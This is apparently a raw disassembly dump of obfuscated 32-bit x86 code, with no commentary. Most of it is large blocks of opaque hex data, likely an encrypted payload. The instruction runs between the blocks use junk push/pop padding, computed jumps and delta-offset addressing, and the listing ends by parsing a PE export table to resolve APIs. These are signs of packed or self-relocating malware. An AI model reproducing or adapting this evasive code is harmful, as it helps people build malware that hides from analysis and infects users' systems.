0EB637BB8h, 6E88584Fh, 0C6DC0C03h dd 0D4C4DA6Fh, 28A7B25Fh, 0F9EBE8A9h, 615EC269h, 0C9629956h dd 99566163h, 0BFBCD427h, 75A5D224h, 0E995661h, 19AEEA1Ch dd 739E1587h, 0D1A13F84h, 0A9CD1570h, 8AC93FAAh, 0D4CD8C1Ch dd 0A93E9108h, 0B415A537h, 6A698D5Dh, 0D24FEA7Fh, 0FEFD995Bh dd 0EB2F6BEAh, 50E070F0h, 7EA975DBh, 0FE753589h, 897EA952h dd 1D84C516h, 0BFDB65BEh, 27CCDA1Bh, 897EA9FFh, 607EA2FEh dd 908A0FE0h, 0B3C5ED04h, 2B6D28h, 65030000h, 0A13F84B3h dd 9D05A32Ah, 0DF3BE33Ch, 3F8474D8h, 4E21CA1h, 3FA76FA8h dd 305A7E9Ah, 3F84D27Bh, 9571A5A1h, 0DFC70B07h, 0C8DF7E7Fh dd 0B7F4207Ah, 0A971AD2Ch, 0E028644Dh, 0AD594D86h, 0D090E14Eh dd 33676906h, 866752FEh, 746F28DDh, 9901C9C5h, 40602612h dd 91E4D9A1h, 0F90C15FFh, 0FFFFFF9Fh, 84584F9Fh, 899EB012h dd 72903349h, 0A8096D52h, 0A939A171h, 0CF2BEB28h, 0B59B1080h dd 75A1406Dh, 83C07B66h, 4303CF61h, 0B38C9D5Ah, 5FCC01A9h dd 34A4E590h, 0B5210FA4h, 9AD9A13Fh, 0E7EA810Fh, 65A928CCh dd 3D9CF416h, 94DB3FDFh, 9BB4640Dh, 4B779956h, 9CF71F9Bh dd 3C6313FFh, 25000000h, 10801653h, 289EF69Bh, 0B52734A9h dd 7855CC7Ah, 5F6B90F9h, 0AC71E3BCh, 5F1E829h, 55D1A696h dd 92336199h, 44BAF7Bh, 2685619Dh, 3EA569A7h, 6B7581h dd 0AEE514h, 4FBB0000h, 36E8858h, 0DCA5C105h, 90F115C5h dd 0AA31A979h, 0A13F8951h, 0AB33DF36h, 0B123EF26h, 0B52CF410h dd 0F1E77C41h, 0A0D548E3h, 0A4B7A928h, 0FF42873Eh, 565EC874h dd 32738099h, 6DF1519Eh, 11AB911Ah, 6C6F9956h, 9653323h dd 0BFA4C612h, 4EE5637Eh, 0A1416713h, 0D7766A69h, 0CC8D15B9h dd 0B1750ECEh, 0B02E01A6h, 1BE0F96h, 9BF30000h, 0A5E2574Fh dd 0BFD87961h, 0CFCA8F17h, 0E03E930Bh, 2608A63Ch, 12884C4Ah dd 21B965BFh, 36AC7490h, 465C8C83h, 0AC901BE9h, 6CA92E24h dd 514F8F29h, 5A95158Dh, 1D56F5DAh, 0A5148FAFh, 9024A26Eh dd 10801653h, 289EF69Bh, 0B52734A9h, 0CAD1F914h, 6ADD4F4Ch dd 0FAAE9956h, 7E98405Bh, 52B46A71h, 0FFD2B0C4h, 0BBD813h dd 4FFC0000h, 36E8858h, 0F6A5C105h, 0A13F8915h, 42868243h dd 71A1F847h, 61A5E263h, 4FC3DE05h, 2347938Ah, 9AF10542h dd 109B094Eh, 0A928A11Dh, 3CFC687h, 85B7F8E7h, 7126310Fh dd 98DB21B8h, 86524908h, 992E871Bh, 0D9349507h, 911AAA31h dd 0A1422A7Dh, 8F4E4291h, 0E4554D91h, 979D66A6h, 0E62E0168h dd 0EA3DD8h, 0C7DF0000h, 0D1CE831Bh, 0EB24950Dh, 0FB16BB23h dd 0C0ACFD7h, 0FA64D2C8h, 4E547896h, 5D45918Bh, 6278A0FCh dd 7268B8EFh, 80AC47C5h, 38A92E25h, 514FD37Dh, 595158Dh dd 3F84C26Eh, 8795A1A1h, 3F066F09h, 0BC1B86D5h, 0C827B565h dd 0DD52A3CEh, 0C65C4703h, 88584F76h, 0DC0C036Eh, 8C8342C6h dd 84B8640Fh, 6370A13Fh, 0BF04A722h, 802BBB29h, 0A13F849Ch dd 4841F5Ch, 2E18C66Fh, 6D7F7CA9h, 0F0EA56DDh, 5DD69950h dd 9950F0EFh, 3340A8ABh, 0C036EA8h, 0C363CCDCh, 0DCE77750h dd 0BCE445Fh, 0F5A2C414h, 0F3F252BAh, 0AA02E41Eh, 0A709AB73h dd 825710DDh, 9DF4455Dh, 4D48294Dh, 1268ACE7h, 55CEA68Fh dd 0A04B599Eh, 3EB0387Ch, 9CFE3F3Ch, 60BC2A54h, 50E1F929h dd 0E08DE939h, 0Ch, 86FC7FB0h, 0D1E48F6Eh, 2E8A0ECAh, 6F8B574Fh dd 0BBDF0B02h, 0F416BAD6h, 4FAB73ADh, 86E02462h, 0DD39DD3Bh dd 157199F4h, 6F8B534Ch, 0A5C10502h, 0E28952B7h, 4C281h dd 0BB530000h, 4, 875BDA29h ; --------------------------------------------------------------------------- adc al, 24h pop esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx push ebx push ecx mov ecx, 28301876h mov ebx, ecx pop ecx sub ebx, 20418379h mov edx, ebx pop ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx push ecx mov ecx, 8 add ecx, ebx mov [ecx], edx mov ecx, [esp] add esp, 4 mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov edx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5990C8 ; --------------------------------------------------------------------------- dd 0F307194Ch, 5EBDA5FDh ; --------------------------------------------------------------------------- loc_5DE108: ; CODE XREF: sdfs____:005DD258j mov eax, 7EEA29Fh add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0E7h, 28h, 0E9h dd 4B63ED04h, 0E80AEA3Ah, 0BB40379h, 0B1B7D533h, 7B2DB54Bh dd 8E033B2Fh, 896A6033h, 0CD93CA2Fh, 0C3E3B466h, 5A16C37Ch dd 9867C540h, 0EC573F73h, 0B51F896Ah, 9D201455h, 1AF5A01h dd 0B06C6B63h, 4B72D46h, 70BC1C1Dh, 91777A42h, 490F724h dd 0F9813F59h, 985DCB26h, 119D8D0Dh, 0B807E915h, 0CEh dd 1598589h, 0E807E9h, 58000000h, 0D05h, 0E9038900h, 0CEh dd 33h dup(76F20000h), 0DE8FFFFh, 2B000000h, 0BA805F72h dd 0CFBB5B6Ah, 386A9907h, 10E951h, 0F7A70000h, 0F3265962h dd 840072D2h, 498819F7h, 585F6326h, 0EE816057h, 632CBBB9h dd 830Fh, 5A610000h, 605BC081h, 8B660000h, 17E1BEF8h, 8B660000h dd 8030FFF8h, 565B41CDh, 11E9h, 91062B00h, 6E0254E8h, 3B633D32h dd 9FF97FC6h, 8159A6E6h, 0B29E53F3h, 16D68000h, 0B4E6EB81h dd 0AEBA3882h, 814705C6h, 8E3912C3h, 0BA66537Dh, 8F0D73h dd 0E881D08Bh, 384A4E2Ah, 81D1B70Fh, 4A4E26C0h, 81CB8B38h dd 1EEh, 23850F00h, 0E9000000h, 9, 0E60CE044h, 13423245h dd 24E917h, 89250000h, 2CEA8CB2h, 88E52EA7h, 0CF176445h dd 0B70F3423h, 0FF77E9CFh, 0EA99FFFFh, 0E4D9DE77h, 4AEECC25h dd 8D8DF184h, 7EEA63Eh, 3BCE8166h, 0D8D890Eh, 8907E932h dd 0E919ED8Dh, 0D9BD2307h, 0C707E91Eh, 0E922E585h, 67C007h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 0C7CB1D1Eh, 0E922B185h, 7, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0EF81AD44h, 4B9ACCF1h, 35199D89h, 0B5FF07E9h, 7E93151h dd 20C99D33h, 95FF07E9h, 7E92285h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 0A2C35040h, 0E44BFF71h, 235CECBFh dd 0E9161995h, 0FF006A07h, 0E90C3195h, 0EBC08B07h, 0DC49548h dd 2D5C6603h, 66581237h, 947002Bh, 0F66EDE32h, 3C699259h dd 9F3DF62Ah, 6B9B33DAh, 0DB25CD8Ch, 46F9E4BDh, 5EBC9CEEh dd 0BB5662A2h, 0D7FCCA38h, 0ECED296Dh, 0D43DBD6Ah, 0F917793h dd 294055B7h, 9821B3Ah, 60EB27h, 17h dup(0) dd 0E9000000h, 0B2Ah, 0B1EE9h, 0AEBB6800h, 0C3E907EEh dd 68FFFAD4h, 7EEB017h, 0FAD4B9E9h, 0B07768FFh, 0AFE907EEh dd 5FFFFAD4h, 8731BCBCh, 0C8640973h, 7FD95426h, 0AC08A527h dd 0EA42F389h, 0ACC86D4Dh, 0FE7E9701h, 4A32C577h, 91E309ABh dd 722F7B1Ch, 286E1E32h, 4AFAA8E2h, 2305D95Bh, 9B1A9A8Bh dd 0C3571339h, 0C95F65B9h, 0C6B65975h, 0C143527Eh, 0B8BC517Dh dd 0B0C56864h, 0D51B1F32h, 6DB147FFh, 15678B53h, 2BA9F9DDh dd 5CDC3591h, 5C736525h, 67F5AF30h, 8D49578Bh, 0F1250D6Fh dd 0C7C11D5Fh, 0EF8DA12Dh, 9C1C8D17h, 74305C72h, 42D6C22Eh dd 611E438h, 7F8A0791h, 6D384ECBh, 0C0284CE1h, 68F4861Ch dd 643FB6C4h, 33CD5FCEh, 3BF781ABh, 6DCC464Ah, 3E993428h dd 4D1CE3AFh, 742ED21Eh, 6C0E2CA8h, 0DC7841C1h, 9BB746C4h dd 0DC51728Ah, 2FCDE941h, 90329F4Dh, 47C5DC78h, 0A83F36EBh dd 346D871Eh, 2AC34151h, 6F20F20h, 69036384h, 5CC57838h dd 2E0A9830h, 0D4535D9Ch, 5E93B930h, 37000000h, 0BD33A4B3h dd 0C5890978h, 198B305Ch, 4830C78Fh, 0EE7822E0h, 0C55D5D54h dd 0EDB7305Ch, 0C566265Bh, 0F4AE305Ch, 0EE788E3Ch, 5CC4F3B3h dd 0C7871D30h, 0E9FB4B35h, 0FF819501h, 5CC50282h, 4537DA30h dd 62225F49h, 0B2305CC5h, 3ACC62F0h, 115D04A3h, 7CB4745Eh dd 51DB774Eh, 3Dh, 33A4B3F1h, 57EE78BDh, 0CADAD322h, 0DB0EBD48h dd 9864163Ah, 0CDBC740Ah, 305CBFCDh, 7EFE11BDh, 178A1CA6h dd 305CBF97h, 15CF2B79h, 3999D490h, 0B34171D3h, 4ACA783Dh dd 7766D4A6h, 39DC78DBh, 3F3AF743h, 0D841EA8h, 305CC58Dh dd 19881D87h, 0D02A2E65h, 0EBA600E8h, 37B4F864h, 8CEE0CC8h dd 1AC632B0h, 932AB488h, 0FDE4CD31h, 8445AD09h, 2872F328h dd 68824ADCh, 1FBE220Eh, 1AB202C2h, 18C7C8Ch, 0FA620000h dd 0CEDB2B55h, 24342C2Fh, 8860F678h, 30A7B33Ah, 0C4A3EBA6h dd 0FD97305Ch, 5CC50484h, 5A960C30h, 0A410ECB6h, 0F949E496h dd 60D6A04Ah, 0DC789032h, 3BF64238h, 6335AB3Ch, 0D4535D27h dd 7CD8B930h, 0F70AA3D9h, 0BE8F04ADh, 421E539Fh, 0A4000000h dd 9933A4B3h, 9D611B3Dh, 0C50E8E03h, 9C06305Ch, 78E0220Eh dd 859557EEh, 0CBBDDB78h, 801E9E6Fh, 0ACF6305Ch, 4ACA783Eh dd 7866D4A6h, 0E03C3EDCh, 72CCA7E5h, 0A230B022h, 51F35F56h dd 2Dh, 66EE78F1h, 485AAAD4h, 5CC55959h, 1E9BB30h, 9C52C56Ch dd 0C5890978h, 2BBD305Ch, 5CC53676h, 36C4DE30h, 4ACA7880h dd 7766D4A6h, 0B3EE78DBh, 305CC4F3h, 0F6AB871Dh, 265BED7Ch dd 305CC55Ah, 4768440h, 8262402Ch, 346C2436h, 0C6546EB6h dd 0F684A834h, 4A13B73Ah, 3260D6A0h, 33A4B390h, 39DC78BDh dd 9E1E343h, 0DC783E84h, 0E5FF47C5h, 42AECE61h, 30D46F41h dd 0F218C4B9h, 3D75A880h, 4D000000h, 0BD33A4B3h, 4339DC78h dd 0FF67F1F7h, 0C4DE26A6h, 0C51D9D6Ch, 0A9F7305Ch, 277F52Dh dd 305CC582h, 0CC821092h, 0A64ACA78h, 0DB7766D4h, 3F51h dd 463BD500h, 305CC546h, 0AE1CD4CEh, 0BD33A4B3h, 5D54EE78h dd 305CC55Dh, 4405EDB7h, 305CC544h, 8A52E4FAh, 0EDDF1B65h dd 0DC78CA78h, 0CEEA46C4h, 5D5D542Ah, 0B7305CC5h, 0BB49CBDBh dd 0DB77B725h, 0CE51h, 0A7B3F100h, 0A3EBA630h, 6D305CC4h dd 49E3EF37h, 4A3C862Fh, 8FCCD1A0h, 0C4185AF0h, 28702FBEh dd 451E2BC2h, 0D7B14D2Fh, 90329341h, 4238DC78h, 0AB3C3BF6h dd 0DBA1B511h, 2763AD1Fh, 30D4535Dh, 0DA7CD8B9h, 0EA465CA0h dd 53B7h, 0A4B31300h, 6D79D834h, 2A2A326Fh, 49E1FFECh dd 19CF5DF3h, 403ADC78h, 34087284h, 2D6442AEh, 305CC56Dh dd 784FFDA7h, 0B3EE78CAh, 305CC4F3h, 0FAB871Dh, 6E0791EBh dd 3ED1D1D3h, 49DCE63Eh, 9AE32A5Eh, 844F93FBh, 0CDFF3BC9h dd 3051DB77h, 0F1000000h, 0BD33A4B3h, 0D166EE78h, 72007499h dd 0C4C7C786h, 19B3305Ch, 0AFE29ABDh, 305CC4EFh, 0E834B8E9h dd 0E8BADAh, 78E6546Ah, 0D4A64ACAh, 4ADB7766h, 420ED6A0h dd 0C422D3ADh, 0BF87F518h, 0E09C9025h, 0AB3EA971h, 0B7C16B4Fh dd 63F5516Fh, 6E30D119h, 31305CB5h, 3044E975h, 0F61AD6ECh dd 0F97F9D57h, 5CB50888h, 49A0830h, 532DCF69h, 37962FB9h dd 4B384C49h, 3447473Ah, 0DBC9305Ch, 0E49C5742h, 0D0183A0Eh dd 46EA459Ch, 22A0F05Ch, 0C103AAD6h, 0F1A4492Bh, 0FF67F166h dd 0C0C2225Ah, 3C037E68h, 5A37B4CFh, 0B10DF448h, 572872D0h dd 0EFD102ABh, 0F8C1AD4h, 12h, 0D6A04A5Bh, 0C517970Eh dd 6A6A305Ch, 89EB01C3h, 0A04A5EE4h, 0B8BB0ED6h, 0C5E49D2Fh dd 4D384F1Dh, 1EAC3061h, 0C651DC97h, 0FBF67D34h, 309C2FC6h dd 18363E1h, 0D6F29373h, 8A2084FBh, 0CA3AE786h, 249408A8h dd 2Fh, 30A7B3BEh, 65E73EA6h, 36661B8Dh, 0FE305CC5h, 727B12A4h dd 0F08C5B5Bh, 611B3E9Eh, 0BD2B079Dh, 0F07DFF11h, 324CEE76h dd 17C9C6h, 0B3190000h, 0EBA630A7h, 305CC49Fh, 3D993371h dd 52CC611Bh, 0DC14668Ah, 17ED78EEh, 25D022D5h, 9D399662h dd 49000001h, 8331A6B3h, 0A04A9032h, 0ECA944D6h, 0ADEB31A7h dd 63038169h, 0D4535D27h, 4393B930h, 13000000h, 5CC94F7Ah dd 41EB0D3Dh, 7B49A137h, 4238DC78h, 5508E0E2h, 78994FDCh dd 5CC58909h, 0A2F8B30h, 824ADC72h, 0EBD91193h, 0DC78CA78h dd 71AA4339h, 0FDA2C614h, 0BA5C78B0h, 0DB7712C0h, 3D51h dd 0A6B3F100h, 9788331h, 305CC589h, 0EAAAE771h, 0D3305CC4h dd 0B75D7DB8h, 7B296513h, 71E7E5BFh, 0DC78CA78h, 0E4FE46C4h dd 0C286A80Ch, 0AAD466D2h, 23BA485Ah, 0E19B1F92h, 2F9D33BBh dd 0A04ADB77h, 0DC7860D6h, 0D7AB4238h, 8E6D66E2h, 0BB9F53Dh dd 9933A4B3h, 0CF1ECE0Ch, 935F51D5h, 3ADC7831h, 0AE6FC40h dd 535D0387h, 0D8B930D4h, 0ED7F684Dh, 1FDB59D9h, 6BC2h dd 0DC78E000h, 0E2E03C3Eh, 4BDC5B16h, 0B3EE7895h, 305CC4F3h dd 0BCF5871Dh, 305CC4FCh, 44A28E14h, 216110AAh, 0F3305CC5h dd 88879B1h, 8305CC5h, 0CA78249Ah, 5F11ED78h, 646ABA24h dd 7604288Ch, 1ECD49E4h, 3CAB5250h, 0FF77D6F4h, 60CAB366h dd 0F743DB73h, 0C7ED78D5h, 334DE3B8h, 1CEFF89Ah, 20A282F8h dd 3469A692h, 0B9000000h, 0BD33A4B3h, 0C5890978h, 0E771305Ch dd 2314164Eh, 0ADDC6952h, 305BD3EDh, 5E36B6EFh, 0B036EC44h dd 95158C26h, 7F305BD3h, 78FFCD25h, 0D4A64ACAh, 4ADB7766h dd 9A0BDBA5h, 305CC53Fh, 0DF27C6CAh, 339BE577h, 0FD875F19h dd 386E8135h, 0B996517h, 72D25243h, 0F753E270h, 0AEDCA54Ah dd 0E3456F62h, 0A72FB94Fh, 0D20EEA92h, 0D72F51E6h, 0ABEB8204h dd 20B27219h, 852448A0h, 21CCAC43h, 394728C5h, 0A30893C8h dd 0EA5BB657h, 36A5305Bh, 8431B6C9h, 0FFFE2729h, 439FB9FFh dd 0F0305CC5h, 305CC354h, 5CC3C0C1h, 0F71DA830h, 0EEB3222Ch dd 0FEDAAB87h, 0CC305C7Ch, 0A6921000h, 5C7D0BA7h, 7D9C3830h dd 8AA5F05Ch, 1CF28B1Dh, 61C9F1E7h, 0C11D5FFDh, 0E3C52DC3h dd 0B0E6BC49h, 8C568277h, 1C06A5A4h, 960C77B0h, 0EF78FB4Eh dd 572AC35Dh, 63BBE484h, 0B7FE8F6Bh, 5F6FC8ADh, 933DAC45h dd 0C71FFC34h, 29C90h, 1A5AF100h, 6715399Bh, 0B2CC62CEh dd 3819103h, 4933C672h, 87F334A4h, 0C96B0A72h, 7FD954D8h dd 0A30DA0D8h, 2146EF89h, 178C0C85h, 7684286Eh dd 0D6A04A10h, 40D4700Eh, 10D8EA3Ah, 0B345D25Dh, 0D79BBD19h dd 0DCE63EBEh, 0B9E8F64Eh, 305CC4F9h, 3FFB891Bh, 4F1E134Eh dd 7701A338h, 6353B6DEh, 65CD28C3h, 2CDE998h, 39D286Eh dd 6E030E8Eh, 549C0628h, 7F099E99h, 605BFB02h, 0D365E130h dd 79D41A9h, 5041DB75h, 207F5D50h, 0A216E2C0h, 0D547EE88h dd 93ED0347h, 0B2E36BFDh, 18D0D232h, 0FC12BAC4h, 0D3D7B682h dd 0C207F5Ch, 4AE476E1h, 5CC1C1B0h, 5153207Fh, 0CA1A62F5h dd 2E9170B8h, 0E42871B6h, 0CA922CBEh, 0F88A5A24h, 63C3B95Ch dd 0F2D8961h, 5041DB6Dh, 1890B650h, 8B16E2C0h, 9010811Bh dd 481890B5h, 0E6BCD0A2h, 0C48CAE0Ah, 6EB64436h, 0E839989Bh dd 4D44D664h, 20830E6Eh, 7C47C75Eh, 0B95EB9CEh, 0CF178D71h dd 0DE68FF7Ah, 951658A3h, 52E4BE18h, 9F16608Ah, 815D1F3Dh dd 0B3FCC4E0h, 41D25D08h, 0B3FD5050h, 4CE2C008h, 558CC7BAh dd 782A10A6h, 0A82E66EEh, 0C555B9F9h, 0BB495B00h, 0C36E237Fh dd 94CFC254h, 22081E35h, 0B70E980h, 9C500462h, 1402Bh dd 0BEBE5D00h, 0B718537h, 5628CE6Ah, 0A7257DDFh, 0ED8FA20Eh dd 634FE840h, 9507AECEh, 0DB75F87Ch, 0FA94434h, 7DE293EDh dd 15307021h, 0AAE0286Eh, 37A0B3F4h, 1D71ECA5h, 21BB384Fh dd 6E1E3070h, 76C2E028h, 75F72E8Ah, 0AF4A1FE7h, 20F3AE38h dd 962FC71Dh, 2D1A650Ch, 2A3A3C35h, 0E0B5h, 5E1E3D00h dd 0ABD165D7h, 0F688AE0Ah, 47C5DD7Fh, 8DEF02AEh, 0C3AF88E0h dd 75A74E2Eh, 0BB15981Ch, 0EF49E494h, 0DD82334Dh, 14D0D0C1h dd 0A40286Eh, 30A0B354h, 0D61C733Bh, 18B24059h, 4F1A4669h dd 8AAE3638h, 4E5438F0h, 4630DAF6h, 8DEF0DAFh, 0E671FCB1h dd 1A988854h, 52D9C8DEh, 3A306072h, 0F4EF21A3h, 2CA4FF8h dd 0BBA793EDh, 44E844E9h, 0FD931100h, 0E0A0D16Bh, 30207F9Ch dd 993B8672h, 0CC680577h, 7DDF56D4h, 95119CD8h, 225FD9C9h dd 207F9D62h, 9662F0B2h, 0DB6D0F22h, 9D505041h, 0E2C0207Fh dd 0F8298B16h, 0B85FF974h, 69832DC0h, 0DBCA660Fh, 9681D459h dd 0DADE7701h, 0F121BFF4h, 0B0E1C733h, 2871F269h, 9D2BFBA9h dd 0F30E8E03h, 9C061890h, 0A8CA6054h, 3B005h, 54D20000h dd 0D7A14AF6h, 0CFA9430Fh, 0C4B45B77h, 0C7455C78h, 0BEBE537Fh dd 0B5C76A66h, 0B7356D69h, 0B3CD636Fh, 0A9D36753h, 54555E55h dd 4C5815Dh, 83000000h, 2C8704EDh, 89505C24h, 405E0h, 0E8830000h dd 24048704h, 2404895Ch, 81E78957h, 4C7h, 4EF8100h, 87000000h dd 895C243Ch, 6851242Ch, 781C139Ah, 8FF18159h, 897FF2B4h dd 0EC8359C8h, 24248904h, 4240481h, 5D000000h, 89C38953h dd 1C8B085Dh, 4C48324h, 51242C8Bh, 0C181E189h, 4, 4C181h dd 0C870000h, 48B5C24h, 0E2895224h, 4C281h, 0C2810000h dd 4, 5C241487h, 0FAC9B5E9h, 0ABF236FFh, 0B8B8C562h, 7EEB17Ch dd 0C38BC503h, 0E0E9h, 0B8F0F00h, 0E9000000h, 6, 0D9CF4D49h dd 0B58D343Bh, 7EEB257h, 89858DF8h, 0F807EC77h, 0C3FCD0FFh dd 0CB8B6660h, 5E8h, 0BCE37A00h, 5FF92DD7h, 0D98C6661h dd 0EE9h, 0B1FD6700h, 5CE07409h, 0A879C07h, 0F66D05FBh dd 840F04C1h, 65h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 8EC35747h, 0F604D8Bh, 282h, 0B9616000h dd 1F5B8D20h, 8BFB8B61h, 0AEC032CBh, 0CF2BFD75h, 0F92BD9F7h dd 8B49D78Bh, 0CD00EBD9h, 1013F20h, 74C00B00h, 0C708D18h dd 0CB8BFA8Bh, 490A75A6h, 1B8FA75h, 0EB000000h, 0EB008B09h dd 0B8E4h, 60CF0000h, 73D08166h, 5FF55156h, 128C0F61h dd 0E9000000h, 0Dh, 2156A81Bh, 1C6F2DE4h, 0C702EF3Ch, 0BB85C7E9h dd 3F07EEB2h, 0DC000101h, 6E1F2F13h, 0BC2B0BBFh, 23F24963h dd 43065D71h, 787A2135h, 97FCF070h, 5081B385h, 0E033CD85h dd 0E8D15DF1h, 4E1D5905h, 0F289988h, 0F63CF132h, 0B933F01Bh dd 0B5D27153h, 6D75197Fh, 3759F035h, 9B301862h, 9213F035h dd 9ABAAFF6h, 37B2F411h, 0B925F411h, 8B74F035h, 0A9001F6h dd 48C9666h, 26B0AA4Eh, 0CADAE620h, 0B6B7FF35h, 1933F035h dd 0BADBA135h, 0FC33F035h, 0E76A336Ch, 0B637D479h, 8F37D471h dd 8C33F035h, 0EEF3364h, 7333F030h, 0D5B7E716h, 0F51949D4h dd 876DBC72h, 3733F2D1h, 0FBF97B53h, 0CD33E1DDh, 0B51ACB35h dd 4F6FB768h, 0C3EBDD9Ah, 0DE40FC8Eh, 34CAC916h, 0BA52B483h dd 7580DDB0h, 1B899632h, 27B296D3h, 1563C743h, 307F768Ah dd 0CDDAD431h, 4B33F035h, 0BB9B961h, 7BB7ABE8h, 0B5D87979h dd 0AB7E7740h, 0C03C75B8h, 0ABDAF7DBh, 0C533F035h, 189DC923h dd 96ABC2FEh, 2226F915h, 0D2D8B629h, 0E6B3FF9Eh, 2333F035h dd 0B933FEDDh, 49389D35h, 0CCA6A1D1h, 0F4F5B712h, 0CB751B6Ah dd 936DA966h, 8C17F4BCh, 70DBA535h, 9933F035h, 556E3368h dd 0EF37D459h, 2A37D471h, 0DE33F035h, 8E1D3360h, 0CEDDEA63h dd 4BE21F54h, 0AED265CAh, 0DC59F7DCh, 6E301860h, 6A13F035h dd 0F7BAADF6h, 89B2F411h, 0E627F411h, 2676F035h, 7EB2A1F6h dd 0EE176DA9h, 6E5930BEh, 37301867h, 0C113F035h, 99BAAAF6h dd 0A2B2F411h, 7329F411h, 0EB71F035h, 8B73B3F6h, 0E0B14EF6h dd 2F964DB6h, 0EE33F7DCh, 888E733Ch, 0E634192Fh, 2063E941h dd 0C38B30BEh, 5533F031h, 872209B0h, 0F9AE7D32h, 64341BE2h dd 4E6BABE6h, 0F29B588h, 6447F032h, 0C38BA365h, 5533F031h dd 872209B0h, 8AAE7D32h, 64341BE1h, 0AB6BABE6h, 8CFE288Bh dd 70DBA535h, 9933F035h, 556E3368h, 0EF37D459h, 2137D471h dd 0DE33F035h, 1AFE3360h, 88E571C1h, 0F816879Ch, 0BABEFFF5h dd 8F33F035h, 0F3BEAACDh, 30DD4322h, 290775B8h, 4C55F7DBh dd 0E9A3F1EBh, 0A3CC3E8Ah, 182A4A53h, 0DC31713Ah, 9FB8F035h dd 0B33C303Eh, 9B33F011h, 0CD30723Ah, 6D55F035h, 29AE7DC2h dd 50341978h, 0DC33F033h, 0D76580D4h, 348B992Ah, 6433F035h dd 33B896D6h, 552C6DB8h, 0F63CF7DBh, 0B933F037h, 59BE3FBEh dd 69DD4201h, 0DF61F05Fh, 9B33F036h, 97F0AA15h, 0E217A4BCh dd 7717B4B4h, 0B933F023h, 0C2F0A277h, 0E73C7B3Ch, 3733F037h dd 4BCCBE83h, 2562F05Fh, 0E633F036h, 2AF0A915h, 0BD17BCBCh dd 0D817B4B4h, 6E33F02Dh, 76F0A174h, 0D97261A4h, 0B27C4F53h dd 39414E53h, 0F73C303Eh, 0B933F066h, 0DC33F6DDh, 90216535h dd 6D4F088Fh, 0D6696DB8h, 23B3F7DCh, 0E6324807h, 0FB3CF035h dd 0B933F027h, 0DC33FDDCh, 0B4668135h, 60E8F744h, 0FB553F01h dd 2ECCD47Ah, 0E63F05Fh, 7333F036h, 0E1F0A815h, 0D817B4BCh dd 6A17B4B4h, 3733F023h, 0BDF0A075h, 40C60E51h, 880D4A8h dd 0BB84FF32h, 0B0775B8h, 0D6DBF7DBh, 0F033F035h, 0FAB7D6D5h dd 0EFE30238h, 7755AF0Ch, 36CC112Ch, 0F73C303Eh, 0B933F005h dd 9D1D11B4h, 0F3BE9055h, 30DABD6Fh, 73C97B53h, 0CD33F03Fh dd 6285584Eh, 0EBABE3E8h, 41B8A3D2h, 0DC30486Bh, 0A9B2F035h dd 7E6B54CCh, 62B813CAh, 0CD3A1876h, 0CF2EF035h, 88729808h dd 504FF1DFh, 0DC33F024h, 904BBE89h, 0CE75BAF5h, 9629CFF5h dd 47341ABCh, 5BBEA9BFh, 74DD4338h, 0FE77DB8h, 0A18BF7DBh dd 5DB9BB69h, 0DE2FA9B0h, 0B8FCDB32h, 0DB552C6Dh, 37F63CF7h dd 0BEB933F0h, 159BE3Fh, 5F69DD42h, 36DF61F0h dd 0E98333F0h, 8BA4F305h, 10E8C0h, 0D6990000h, 0E36FFA77h dd 0F4C9B7E3h, 0E469EA73h, 0EEBA1CF5h, 5E3E7C62h, 0C38B58B5h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0C6C35545h dd 0DDCB47D2h, 0C08B7900h, 18A5BD83h, 750007E9h, 45BD8309h dd 7E91Ah, 53501974h, 7AB8C08Bh, 89000004h, 0E920F585h dd 359D8D07h, 0FF07EBD8h, 83585BD3h, 0E91A45BDh, 17740007h dd 7AB85350h, 89000004h, 0E920F585h, 0D69D8D07h, 0FF07EBD4h dd 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 7090C356h, 0C6D9A02Fh, 58729AFDh dd 8AD78B66h, 0E9C08BF1h, 266h, 0D98C6660h, 0F04C1F6h dd 3584h, 0FF016A00h, 0E92669B5h, 0DB858D07h, 0FF07EC9Fh dd 0E58589D0h, 8B07E912h, 0CEFC1FEh, 6000068h, 6A006A20h dd 0D685702h, 0FF000100h, 0E912E595h, 32E907h, 85C60000h dd 7E92659h, 30DF6856h, 0B5FFA9C5h, 7E90B11h, 9FDB858Dh dd 0D0FF07ECh, 1B2D8589h, 858D07E9h, 7E92589h, 6A406A50h dd 95FF5605h, 7E91B2Dh, 0C361h, 2 dup(0) dd 8B520000h, 428B60D4h, 30858908h, 8B07EEB8h, 85890C42h dd 7EEB828h, 8910428Bh, 0EEB82C85h, 66B58D07h, 8D07EEB8h dd 5B8EA185h, 61D0FF00h, 0CC25Ah, 0B830B58Bh, 858B07EEh dd 7EEB828h, 0B82CBD83h, 0F0007EEh, 784h, 0E9068900h, 2 dd 0CF0688h, 0 dd 52000000h, 8B60D48Bh, 85890842h, 7EEB830h, 0B8B7B58Dh dd 858D07EEh, 5B8EA1h, 5A61D0FFh, 0B830858Bh, 4C207EEh dd 30858B00h, 8B07EEB8h, 30858900h, 0CF07EEB8h, 0 ; --------------------------------------------------------------------------- pusha mov [ebp+7EEB88Dh], esi mov [ebp+7EEB889h], eax lea eax, [ebp+7E92D59h] mov eax, [eax+44h] mov [ebp+7EEB8C6h], eax lea esi, [ebp+7EEB8FCh] lea eax, dword_5B8EA1[ebp] call eax popa mov eax, [ebp+7EEB88Dh] retn ; --------------------------------------------------------------------------- mov ebx, [ebp+7EEB889h] movzx eax, word ptr [ebx+3Ch] add ebx, eax mov ebx, [ebx+78h] add ebx, [ebp+7EEB889h] mov esi, [ebx+24h] add esi, [ebp+7EEB889h] push 